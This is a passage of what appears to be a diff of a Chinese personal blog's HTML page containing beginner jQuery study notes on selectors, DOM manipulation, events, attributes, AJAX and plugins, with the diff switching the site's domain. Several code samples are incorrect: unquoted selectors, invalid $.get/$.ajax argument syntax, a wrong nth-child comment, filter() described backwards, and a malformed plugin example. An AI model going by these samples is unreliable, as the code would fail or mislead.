选择div标签的neme属性值为yes开头的 $(“div[name$=“yes”]”) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(“div[class=divs]”)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(“div[class=divs],a[href=“https://xiaochenabc123.test.com”)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(“ul.nev li.active”)\n必须确保DOM元素之前具有层级关系，每个层级使用空格分开\n子选择器\n$(“ul.nev\u003eli.active”)\n必须确保层级关系是父子关系（不是祖先关系）\n过滤选择器\n$(“div:first”) // 过滤出第一个div元素\n$(“ul li:first-child”) // 过滤出每个ul元素下的第一个li元素\n$(“ul li:last-child”) // 过滤出每个ul元素下的最后一个li元素\n$(“ul li:nth-child(3)”) // 过滤出每个ul元素下的最后一个li元素\n$(“ul li:nth-child(odd)”) // 过滤出每个ul元素下个数为奇数的li元素，从1开始\n$(“ul li:nth-child(even)”) // 过滤出每个ul元素下个数为偶数的li元素\n$(‘div’).find(’.main’) // 选择div元素下的全部带有main类的元素\n$(.main).parent() // 选择.main类的上一级（父级）元素\n$(.main).parents() // 选择.main类的父（祖先）级元素\n特殊选择器\n$(\":input”) // 选择input,textarea,select,button类型的元素\n$(\":file\") // 选择input元素type属性为file的\n$(\":checkbox\") // 选择input元素type属性为checkbox的\n$(\":radio\") // 选择input元素type属性为radio的\n$(\":focus\") // 选择当前输入框焦点所在的元素\n$(\":checked\") // 选择当前被勾上的单选框和复选框\n$(\":enabled\") // 选择当前可以输入的元素，例如input\n$(\":disabled\") // 和enabled相反，选择当前不能输入的\n$(‘div:visible’) // 选择当前所有可见的div\n$(‘div:hidden’) // 选择当前所有隐藏的div\n查找以及过滤\n查找使用find(),例如：\nvar yes = div.find(’.container’)\n如果需要从父级或者祖先查找，需要用到parent()，例如：\nvar abc = yes.parent(’.container’) // 如果过滤条件不符合，返回空jQuery对象\n如果在同一级中，需要用到prev()和next()，例如：\nabc.prev() // 在同一级中向上\nabc.next() // 在同一级中向下\n过滤\n这个过滤不是上面那个过滤选择器之类（那个是选择），这个是真的过滤。过滤掉不符合条件的，例如：\nvar abc = yes.filter(’.container’) // 过滤掉div元素中带有.container类的\nmap()方法可以将jQuery对象包含的DOM元素转换为其他对象（例如数组，数组也是一个对象）例如：\nvar abc = yes.map(function () { return this.innerHTML; }).get();\n##操作DOM\n$(.main).css({xxx : ‘xx’,xxx : ‘xx’}) // 操作多条样式（对象）多个样式用逗号分开\n.addClass() // 为被选择元素添加一个类或者多个类（class属性），多个类要使用空格分隔开\n.removeClass() // 为被选择元素移除一个类或者多个类（class属性），多个类要使用空格分隔开，如果没有指定要移除那个类，那么将移除全部类\n.hasClass() // 检测被选择元素是否存在某个类，返回的值为布尔值\n.hide() // 被选择元素隐藏，可选参数为时间，单位为毫秒\n.show() // 被选择元素显示，可选参数为时间，单位为毫秒\n.fadeOut() // 被选择元素隐藏，带淡出效果，可选参数为时间，单位为毫秒\n.fadeIn() // 被选择元素显示，带淡入效果，可选参数为时间，单位为毫秒\n.slideUp() // 被选择元素隐藏，带滑动效果，可选参数为时间，单位为毫秒\n.slideDown() // 被选择元素显示，带滑动效果，可选参数为时间，单位为毫秒\n.animate() // 可以修改被选择元素的样式，将样式过渡到设定值，单位为毫秒\n.delay() // 可以和.animate()搭配来延长执行.animate()的功能，单位为毫秒\n$(’.main’).text(‘hallo,world’); // 只能操作文本\n.html(’hallo,world’) // 可以添加元素标签\n.prepend(’hallo,world’) // 在前面添加\n.append(’hallo,world’) // 在后面添加\n.remove() // 删除\n##事件\n$(’.main’).click() // 点击触发事件（单击）\n.ready() // 当文档加载完成才执行触发事件\n.dblclick() // 双击触发事件\n.mouseenter() // 当鼠标移动到元素触发事件（接触元素）\n.mouseleave() // 当鼠标离开元素触发事件\n.mousemove() // 当鼠标在指定元素中移动时触发事件\n.mousedown() // 当鼠标移动元素，并且单击时触发事件\n.mouseup() // 当鼠标在元素上点击，松开鼠标按键时触发事件\n.hover() // 当鼠标移动到元素和离开元素时触发事件，有两个指定函数，但进入时触发第一个函数，离开时触发第二个函数\n.focus() // 当焦点在元素上时，触发事件\n.blur() // 当元素失去焦点时，触发事件\n.keyup() // 当键盘被松开时触发事件\n.keydown() // 当键盘被点击时触发事件\n.keypress() // 当在输入处键盘被按键时触发（屏蔽输入法的按键，每输入一个字符，触发一次）\n.scroll() // 当元素被滚动时触发（搭配overflow:scroll;使用更佳）\n.resize() // 当对浏览器窗口调整大小时触发\n.submit() // 当提交表单时触发（只作用在form元素）\n.change() // 当元素的值被改变时，在失焦时触发（只适用文本域和 textarea元素，select 元素）\n$(’.main’).val(); // 获取或者设置值（value属性，input元素）\n.focus() // 当输入框得到焦点时触发\n.select() // 当文本类型得到标记（被选择）时触发\n.blur() // 当输入框失去焦点时触发\n.submit() // 将表单数据提交到web服务器\n解除事件绑定\n例如：\nabc.click(yes)\nsetTimeout(function(){ abc.off(“click”,yes)\n},1000)\n时间单位为毫秒\n如果不是使用函数来调用的，可以直接使用off(‘click’)来解除click事件，也可以直接用off()来解除全部被绑定事件\n##操作元素属性\n$(’.main’).attr(“color”,“333”) // 设置或者返回被选元素的属性和值\n.prop() // 设置或者返回被选元素的属性和值\n.removeAttr() // 移除属性\n注意：\n操作自定义属性要使用attr()，操作元素本身就携带的固有属性推荐使用prop()\nAJAX\njQuery提供了ajax()函数，例如：\nvar hallo = $.ajax(‘url:/test.txt’,dataType: ’text’)\najax()需要一个可选参数，一般的参数有：\nurl ： 发送请求的地址，默认为当前页面\ndataType ：接收的数据格式，例如：html，text等等，如果没有提供该参数，由Content-Type来处理\nasync ： 是否执行异步请求，没有提供该参数时，默认为true\ndata ： 发送到服务器的数据，可以是字符串，对象或者数组\nsuccess ： 请求成功后的回调函数\nget()\njQuery提供了get方法，例如：\nvar abc = $.get(url: /test.html,{ user: ‘root’, pass: ‘123’ })\n如果这样写，那么链接为/test.html?user=root\u0026pass=123\npost()\nvar abc = $.post(url: /test.html,{ user: ‘root’, pass: ‘123’ })\ngetJSON()\nvar abc = $.getJSON(url: /test.html,{ user: ‘root’, pass: ‘123’ }).done(function(datas){})\njQuery允许扩展jQuery来自定义方法\n$.fn.hallo = function(){ this.css(‘width’,‘100px’).css(‘height’,‘100px’) return this }\n调用jQuery插件\n$(’.main’).hallo()\njQuery插件参数\n$.fn.hallo = function(){ var widths = options \u0026\u0026 options.width || ‘1920px’ var heights = options \u0026\u0026 options.height || ‘1080px’ this.css(‘width’,widths).css(‘height’,heights) return this }\n$(’.main’).hallo({ width: ‘800px’ height: ‘600px’ })\n","wordCount":"421","inLanguage":"en","datePublished":"2021-06-16T09:38:00Z","dateModified":"2021-06-16T09:38:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/21/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>jQuery基础学习笔记</h1><div class=post-meta><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/jQuery%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>##第一个jQuery程序</p><p>$(&lsquo;div&rsquo;).html(&ldquo;hello.world&rdquo;);</p><hr><p>##DOM对象和jQuery对象互转化</p><p>jQuery对象和DOM对象是不一样的，但是都能操作DOM</p><p>get()方法（jquery对象转化为DOM对象）</p><p>var $main =$(&rsquo;.main&rsquo;); // jquer对象</p><p>var main = $main.get(0); // 通过get方法，转化成DOM对象</p><p>main.style.color = &lsquo;#c7edcc&rsquo;; // 操作DOM对象属性</p><p>DOM对象转化为jQuery对象</p><p>var main = document.getElementsByClassName(&lsquo;main&rsquo;); // DOM对象</p><p>var $main = $(main); // jQuery对象</p><p>$main.css(&lsquo;color&rsquo;,&rsquo;#c7edcc&rsquo;); // 操作jQuery对象属性</p><hr><p>##jQuery选择器</p><p>元素选择器</p><p>$(&lsquo;div&rsquo;)</p><p>ID选择器</p><p>$("#main")</p><p>id是唯一性，只能在页面中使用一次</p><p>类选择器</p><p>$(&rsquo;.main&rsquo;)</p><p>全选择器</p><p>$(&rsquo;*&rsquo;)</p><p>层次选择器</p><p>$(&lsquo;div .main&rsquo;)</p><p>属性选择器</p><p>$(&ldquo;a[href=&ldquo;https://xiaochenabc123.test.com&rdquo;]&rdquo;) // 选择带href属性的a元素</p><p>可以使用前缀或者后缀来选择
+层级选择器 $(&ldquo;ul.nev li.active&rdquo;)"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"jQuery基础学习笔记","item":"https://chenjunlinabc.github.io/posts/21/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"jQuery基础学习笔记","name":"jQuery基础学习笔记","description":"##第一个jQuery程序\n$(\u0026lsquo;div\u0026rsquo;).html(\u0026ldquo;hello.world\u0026rdquo;);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(\u0026rsquo;.main\u0026rsquo;); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = \u0026lsquo;#c7edcc\u0026rsquo;; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(\u0026lsquo;main\u0026rsquo;); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(\u0026lsquo;color\u0026rsquo;,\u0026rsquo;#c7edcc\u0026rsquo;); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(\u0026lsquo;div\u0026rsquo;)\nID选择器\n$(\u0026quot;#main\u0026quot;)\nid是唯一性，只能在页面中使用一次\n类选择器\n$(\u0026rsquo;.main\u0026rsquo;)\n全选择器\n$(\u0026rsquo;*\u0026rsquo;)\n层次选择器\n$(\u0026lsquo;div .main\u0026rsquo;)\n属性选择器\n$(\u0026ldquo;a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;]\u0026rdquo;) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(\u0026ldquo;div[name^=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes开头的 $(\u0026ldquo;div[name$=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(\u0026ldquo;div[class=divs]\u0026rdquo;)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(\u0026ldquo;div[class=divs],a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(\u0026ldquo;ul.nev li.active\u0026rdquo;)","keywords":["jQuery"],"articleBody":"##第一个jQuery程序\n$(‘div’).html(“hello.world”);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(’.main’); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = ‘#c7edcc’; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(‘main’); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(‘color’,’#c7edcc’); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(‘div’)\nID选择器\n$(\"#main\")\nid是唯一性，只能在页面中使用一次\n类选择器\n$(’.main’)\n全选择器\n$(’*’)\n层次选择器\n$(‘div .main’)\n属性选择器\n$(“a[href=“https://xiaochenabc123.test.com”]”) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(“div[name^=“yes”]”) // 选择div标签的neme属性值为yes开头的 $(“div[name$=“yes”]”) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(“div[class=divs]”)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(“div[class=divs],a[href=“https://xiaochenabc123.test.com”)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(“ul.nev li.active”)\n必须确保DOM元素之前具有层级关系，每个层级使用空格分开\n子选择器\n$(“ul.nev\u003eli.active”)\n必须确保层级关系是父子关系（不是祖先关系）\n过滤选择器\n$(“div:first”) // 过滤出第一个div元素\n$(“ul li:first-child”) // 过滤出每个ul元素下的第一个li元素\n$(“ul li:last-child”) // 过滤出每个ul元素下的最后一个li元素\n$(“ul li:nth-child(3)”) // 过滤出每个ul元素下的最后一个li元素\n$(“ul li:nth-child(odd)”) // 过滤出每个ul元素下个数为奇数的li元素，从1开始\n$(“ul li:nth-child(even)”) // 过滤出每个ul元素下个数为偶数的li元素\n$(‘div’).find(’.main’) // 选择div元素下的全部带有main类的元素\n$(.main).parent() // 选择.main类的上一级（父级）元素\n$(.main).parents() // 选择.main类的父（祖先）级元素\n特殊选择器\n$(\":input”) // 选择input,textarea,select,button类型的元素\n$(\":file\") // 选择input元素type属性为file的\n$(\":checkbox\") // 选择input元素type属性为checkbox的\n$(\":radio\") // 选择input元素type属性为radio的\n$(\":focus\") // 选择当前输入框焦点所在的元素\n$(\":checked\") // 选择当前被勾上的单选框和复选框\n$(\":enabled\") // 选择当前可以输入的元素，例如input\n$(\":disabled\") // 和enabled相反，选择当前不能输入的\n$(‘div:visible’) // 选择当前所有可见的div\n$(‘div:hidden’) // 选择当前所有隐藏的div\n查找以及过滤\n查找使用find(),例如：\nvar yes = div.find(’.container’)\n如果需要从父级或者祖先查找，需要用到parent()，例如：\nvar abc = yes.parent(’.container’) // 如果过滤条件不符合，返回空jQuery对象\n如果在同一级中，需要用到prev()和next()，例如：\nabc.prev() // 在同一级中向上\nabc.next() // 在同一级中向下\n过滤\n这个过滤不是上面那个过滤选择器之类（那个是选择），这个是真的过滤。过滤掉不符合条件的，例如：\nvar abc = yes.filter(’.container’) // 过滤掉div元素中带有.container类的\nmap()方法可以将jQuery对象包含的DOM元素转换为其他对象（例如数组，数组也是一个对象）例如：\nvar abc = yes.map(function () { return this.innerHTML; }).get();\n##操作DOM\n$(.main).css({xxx : ‘xx’,xxx : ‘xx’}) // 操作多条样式（对象）多个样式用逗号分开\n.addClass() // 为被选择元素添加一个类或者多个类（class属性），多个类要使用空格分隔开\n.removeClass() // 为被选择元素移除一个类或者多个类（class属性），多个类要使用空格分隔开，如果没有指定要移除那个类，那么将移除全部类\n.hasClass() // 检测被选择元素是否存在某个类，返回的值为布尔值\n.hide() // 被选择元素隐藏，可选参数为时间，单位为毫秒\n.show() // 被选择元素显示，可选参数为时间，单位为毫秒\n.fadeOut() // 被选择元素隐藏，带淡出效果，可选参数为时间，单位为毫秒\n.fadeIn() // 被选择元素显示，带淡入效果，可选参数为时间，单位为毫秒\n.slideUp() // 被选择元素隐藏，带滑动效果，可选参数为时间，单位为毫秒\n.slideDown() // 被选择元素显示，带滑动效果，可选参数为时间，单位为毫秒\n.animate() // 可以修改被选择元素的样式，将样式过渡到设定值，单位为毫秒\n.delay() // 可以和.animate()搭配来延长执行.animate()的功能，单位为毫秒\n$(’.main’).text(‘hallo,world’); // 只能操作文本\n.html(’hallo,world’) // 可以添加元素标签\n.prepend(’hallo,world’) // 在前面添加\n.append(’hallo,world’) // 在后面添加\n.remove() // 删除\n##事件\n$(’.main’).click() // 点击触发事件（单击）\n.ready() // 当文档加载完成才执行触发事件\n.dblclick() // 双击触发事件\n.mouseenter() // 当鼠标移动到元素触发事件（接触元素）\n.mouseleave() // 当鼠标离开元素触发事件\n.mousemove() // 当鼠标在指定元素中移动时触发事件\n.mousedown() // 当鼠标移动元素，并且单击时触发事件\n.mouseup() // 当鼠标在元素上点击，松开鼠标按键时触发事件\n.hover() // 当鼠标移动到元素和离开元素时触发事件，有两个指定函数，但进入时触发第一个函数，离开时触发第二个函数\n.focus() // 当焦点在元素上时，触发事件\n.blur() // 当元素失去焦点时，触发事件\n.keyup() // 当键盘被松开时触发事件\n.keydown() // 当键盘被点击时触发事件\n.keypress() // 当在输入处键盘被按键时触发（屏蔽输入法的按键，每输入一个字符，触发一次）\n.scroll() // 当元素被滚动时触发（搭配overflow:scroll;使用更佳）\n.resize() // 当对浏览器窗口调整大小时触发\n.submit() // 当提交表单时触发（只作用在form元素）\n.change() // 当元素的值被改变时，在失焦时触发（只适用文本域和 textarea元素，select 元素）\n$(’.main’).val(); // 获取或者设置值（value属性，input元素）\n.focus() // 当输入框得到焦点时触发\n.select() // 当文本类型得到标记（被选择）时触发\n.blur() // 当输入框失去焦点时触发\n.submit() // 将表单数据提交到web服务器\n解除事件绑定\n例如：\nabc.click(yes)\nsetTimeout(function(){ abc.off(“click”,yes)\n},1000)\n时间单位为毫秒\n如果不是使用函数来调用的，可以直接使用off(‘click’)来解除click事件，也可以直接用off()来解除全部被绑定事件\n##操作元素属性\n$(’.main’).attr(“color”,“333”) // 设置或者返回被选元素的属性和值\n.prop() // 设置或者返回被选元素的属性和值\n.removeAttr() // 移除属性\n注意：\n操作自定义属性要使用attr()，操作元素本身就携带的固有属性推荐使用prop()\nAJAX\njQuery提供了ajax()函数，例如：\nvar hallo = $.ajax(‘url:/test.txt’,dataType: ’text’)\najax()需要一个可选参数，一般的参数有：\nurl ： 发送请求的地址，默认为当前页面\ndataType ：接收的数据格式，例如：html，text等等，如果没有提供该参数，由Content-Type来处理\nasync ： 是否执行异步请求，没有提供该参数时，默认为true\ndata ： 发送到服务器的数据，可以是字符串，对象或者数组\nsuccess ： 请求成功后的回调函数\nget()\njQuery提供了get方法，例如：\nvar abc = $.get(url: /test.html,{ user: ‘root’, pass: ‘123’ })\n如果这样写，那么链接为/test.html?user=root\u0026pass=123\npost()\nvar abc = $.post(url: /test.html,{ user: ‘root’, pass: ‘123’ })\ngetJSON()\nvar abc = $.getJSON(url: /test.html,{ user: ‘root’, pass: ‘123’ }).done(function(datas){})\njQuery允许扩展jQuery来自定义方法\n$.fn.hallo = function(){ this.css(‘width’,‘100px’).css(‘height’,‘100px’) return this }\n调用jQuery插件\n$(’.main’).hallo()\njQuery插件参数\n$.fn.hallo = function(){ var widths = options \u0026\u0026 options.width || ‘1920px’ var heights = options \u0026\u0026 options.height || ‘1080px’ this.css(‘width’,widths).css(‘height’,heights) return this }\n$(’.main’).hallo({ width: ‘800px’ height: ‘600px’ })\n","wordCount":"421","inLanguage":"en","datePublished":"2021-06-16T09:38:00Z","dateModified":"2021-06-16T09:38:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/21/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>jQuery基础学习笔记</h1><div class=post-meta><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/jQuery%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>##第一个jQuery程序</p><p>$(&lsquo;div&rsquo;).html(&ldquo;hello.world&rdquo;);</p><hr><p>##DOM对象和jQuery对象互转化</p><p>jQuery对象和DOM对象是不一样的，但是都能操作DOM</p><p>get()方法（jquery对象转化为DOM对象）</p><p>var $main =$(&rsquo;.main&rsquo;); // jquer对象</p><p>var main = $main.get(0); // 通过get方法，转化成DOM对象</p><p>main.style.color = &lsquo;#c7edcc&rsquo;; // 操作DOM对象属性</p><p>DOM对象转化为jQuery对象</p><p>var main = document.getElementsByClassName(&lsquo;main&rsquo;); // DOM对象</p><p>var $main = $(main); // jQuery对象</p><p>$main.css(&lsquo;color&rsquo;,&rsquo;#c7edcc&rsquo;); // 操作jQuery对象属性</p><hr><p>##jQuery选择器</p><p>元素选择器</p><p>$(&lsquo;div&rsquo;)</p><p>ID选择器</p><p>$("#main")</p><p>id是唯一性，只能在页面中使用一次</p><p>类选择器</p><p>$(&rsquo;.main&rsquo;)</p><p>全选择器</p><p>$(&rsquo;*&rsquo;)</p><p>层次选择器</p><p>$(&lsquo;div .main&rsquo;)</p><p>属性选择器</p><p>$(&ldquo;a[href=&ldquo;https://xiaochenabc123.test.com&rdquo;]&rdquo;) // 选择带href属性的a元素</p><p>可以使用前缀或者后缀来选择
 $(&ldquo;div[name^=&ldquo;yes&rdquo;]&rdquo;) // 选择div标签的neme属性值为yes开头的
 $(&ldquo;div[name$=&ldquo;yes&rdquo;]&rdquo;) // 选择div标签的neme属性值为yes结尾的</p><p>组合选择器</p><p>$(&ldquo;div[class=divs]&rdquo;)</p><p>组合选择器其实就是用多个选择器组合起来</p><p>多项选择器</p><p>$(&ldquo;div[class=divs],a[href=&ldquo;https://xiaochenabc123.test.com&rdquo;)</p><p>多项选择器就是将多个选择器用逗号组合起来</p><p>层级选择器
 $(&ldquo;ul.nev li.active&rdquo;)</p><p>必须确保DOM元素之前具有层级关系，每个层级使用空格分开</p><p>子选择器</p><p>$(&ldquo;ul.nev>li.active&rdquo;)</p><p>必须确保层级关系是父子关系（不是祖先关系）</p><p>过滤选择器</p><p>$(&ldquo;div:first&rdquo;) // 过滤出第一个div元素</p><p>$(&ldquo;ul li:first-child&rdquo;) // 过滤出每个ul元素下的第一个li元素</p><p>$(&ldquo;ul li:last-child&rdquo;) // 过滤出每个ul元素下的最后一个li元素</p><p>$(&ldquo;ul li:nth-child(3)&rdquo;) // 过滤出每个ul元素下的最后一个li元素</p><p>$(&ldquo;ul li:nth-child(odd)&rdquo;) // 过滤出每个ul元素下个数为奇数的li元素，从1开始</p><p>$(&ldquo;ul li:nth-child(even)&rdquo;) // 过滤出每个ul元素下个数为偶数的li元素</p><p>$(&lsquo;div&rsquo;).find(&rsquo;.main&rsquo;) // 选择div元素下的全部带有main类的元素</p><p>$(.main).parent() // 选择.main类的上一级（父级）元素</p><p>$(.main).parents() // 选择.main类的父（祖先）级元素</p><p>特殊选择器</p><p>$(":input&rdquo;) // 选择input,textarea,select,button类型的元素</p><p>$(":file") // 选择input元素type属性为file的</p><p>$(":checkbox") // 选择input元素type属性为checkbox的</p><p>$(":radio") // 选择input元素type属性为radio的</p><p>$(":focus") // 选择当前输入框焦点所在的元素</p><p>$(":checked") // 选择当前被勾上的单选框和复选框</p><p>$(":enabled") // 选择当前可以输入的元素，例如input</p><p>$(":disabled") // 和enabled相反，选择当前不能输入的</p><p>$(&lsquo;div:visible&rsquo;) // 选择当前所有可见的div</p><p>$(&lsquo;div:hidden&rsquo;) // 选择当前所有隐藏的div</p><p>查找以及过滤</p><p>查找使用find(),例如：</p><p>var yes = div.find(&rsquo;.container&rsquo;)</p><p>如果需要从父级或者祖先查找，需要用到parent()，例如：</p><p>var abc = yes.parent(&rsquo;.container&rsquo;) // 如果过滤条件不符合，返回空jQuery对象</p><p>如果在同一级中，需要用到prev()和next()，例如：</p><p>abc.prev() // 在同一级中向上</p><p>abc.next() // 在同一级中向下</p><p>过滤</p><p>这个过滤不是上面那个过滤选择器之类（那个是选择），这个是真的过滤。过滤掉不符合条件的，例如：</p><p>var abc = yes.filter(&rsquo;.container&rsquo;) // 过滤掉div元素中带有.container类的</p><p>map()方法可以将jQuery对象包含的DOM元素转换为其他对象（例如数组，数组也是一个对象）例如：</p><p>var abc = yes.map(function () {
@@ -124,8 +124,8 @@
 }</p><p>$(&rsquo;.main&rsquo;).hallo({
 width: &lsquo;800px&rsquo;
 height: &lsquo;600px&rsquo;
-})</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/jquery/>jQuery</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/22/><span class=title>« Prev</span><br><span>HTML全局属性笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/19/><span class=title>Next »</span><br><span>JAVA基础学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+})</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/jquery/>jQuery</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/22/><span class=title>« Prev</span><br><span>HTML全局属性笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/19/><span class=title>Next »</span><br><span>JAVA基础学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
